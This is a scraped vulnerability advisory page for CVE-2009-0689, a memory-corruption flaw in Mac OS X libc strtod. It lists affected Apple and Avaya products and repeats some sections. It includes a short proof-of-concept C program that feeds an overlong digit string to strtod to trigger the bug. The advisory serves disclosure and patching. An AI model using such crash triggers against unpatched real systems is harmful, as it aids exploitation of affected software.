Mac OS X 'libc/strtod(3)' Memory Corruption Vulnerability
BID:37687
Info
Mac OS X 'libc/strtod(3)' Memory Corruption Vulnerability
| Bugtraq ID: | 37687 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2009-0689 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jan 08 2010 12:00AM |
| Updated: | Apr 28 2014 12:51AM |
| Credit: | Maksymilian Arciemowicz |
| Vulnerable: |
Red Hat Enterprise Linux Long Life 5.6 server Red Hat Enterprise Linux Long Life 5.3 Server Avaya IP Office Application Server 8.1 Avaya IP Office Application Server 8.0 Avaya Aura Session Manager 5.2 Avaya Aura Messaging 6.1 Avaya Aura Messaging 6.0.1 Avaya Aura Messaging 6.0 Avaya Aura Communication Manager Utility Services 6.2 Avaya Aura Communication Manager Utility Services 6.1 Avaya Aura Communication Manager Utility Services 6.0 Avaya Aura Communication Manager 6.0.1 Avaya Aura Communication Manager 6.0 Avaya Aura Communication Manager 5.2 Avaya Aura Communication Manager 5.1 Avaya Aura Application Enablement Services 5.2.1 Avaya Aura Application Enablement Services 6.1.1 Avaya Aura Application Enablement Services 6.1 Avaya Aura Application Enablement Services 5.2.3 Avaya Aura Application Enablement Services 5.2.2 Avaya Aura Application Enablement Services 5.2 Apple Mac OS X 10.6.2 Apple Mac OS X 10.6.1 Apple Mac OS X 10.5.8 Apple Mac OS X 10.5.7 Apple Mac OS X 10.5.6 Apple Mac OS X 10.5.5 Apple Mac OS X 10.5.4 Apple Mac OS X 10.5.3 Apple Mac OS X 10.5.2 Apple Mac OS X 10.5.1 Apple Mac OS X 10.6 Apple Mac OS X 10.5 Apple iPod Touch 3.1.3 Apple iPod Touch 3.1.2 Apple iPod Touch 3.1.1 Apple iPod Touch 2.2.1 Apple iPod Touch 2.0.2 Apple iPod Touch 2.0.1 Apple iPod Touch 3.0 Apple iPod Touch 2.2 Apple iPod Touch 2.1 Apple iPod Touch 2.0 Apple iPhone 3.1.3 Apple iPhone 3.1.2 Apple iPhone 3.0.1 Apple iPhone 2.2.1 Apple iPhone 2.0.2 Apple iPhone 2.0.1 Apple iPhone 3.1 Apple iPhone 3.0 Apple iPhone 2.2 Apple iPhone 2.1 Apple iPhone 2.0 |
| Not Vulnerable: |
Apple iOS 4 |
Discussion
Mac OS X 'libc/strtod(3)' Memory Corruption Vulnerability
Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.
Attackers may exploit this issue to execute arbitrary code within the context of affected applications.
Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable.
Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.
Attackers may exploit this issue to execute arbitrary code within the context of affected applications.
Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable.
Exploit / POC
Mac OS X 'libc/strtod(3)' Memory Corruption Vulnerability
The following proof-of-concept C program is available:
#include <stdio.h>
#include <stdlib.h>
int main ()
{
char number[] = "0.1111111111...11", *e;
double weed = strtod(number, &e);
printf("grams = %lf\n", weed);
return 0;
}
The following proof-of-concept C program is available:
#include <stdio.h>
#include <stdlib.h>
int main ()
{
char number[] = "0.1111111111...11", *e;
double weed = strtod(number, &e);
printf("grams = %lf\n", weed);
return 0;
}
Solution / Fix
Mac OS X 'libc/strtod(3)' Memory Corruption Vulnerability
Solution:
Updates are available. Please see the references for more information.
Solution:
Updates are available. Please see the references for more information.
References
Mac OS X 'libc/strtod(3)' Memory Corruption Vulnerability
References:
References:
- Mac OS X Homepage (Apple)
- MacOS X 10.5/10.6 libc/strtod(3) buffer overflow (SecurityReason)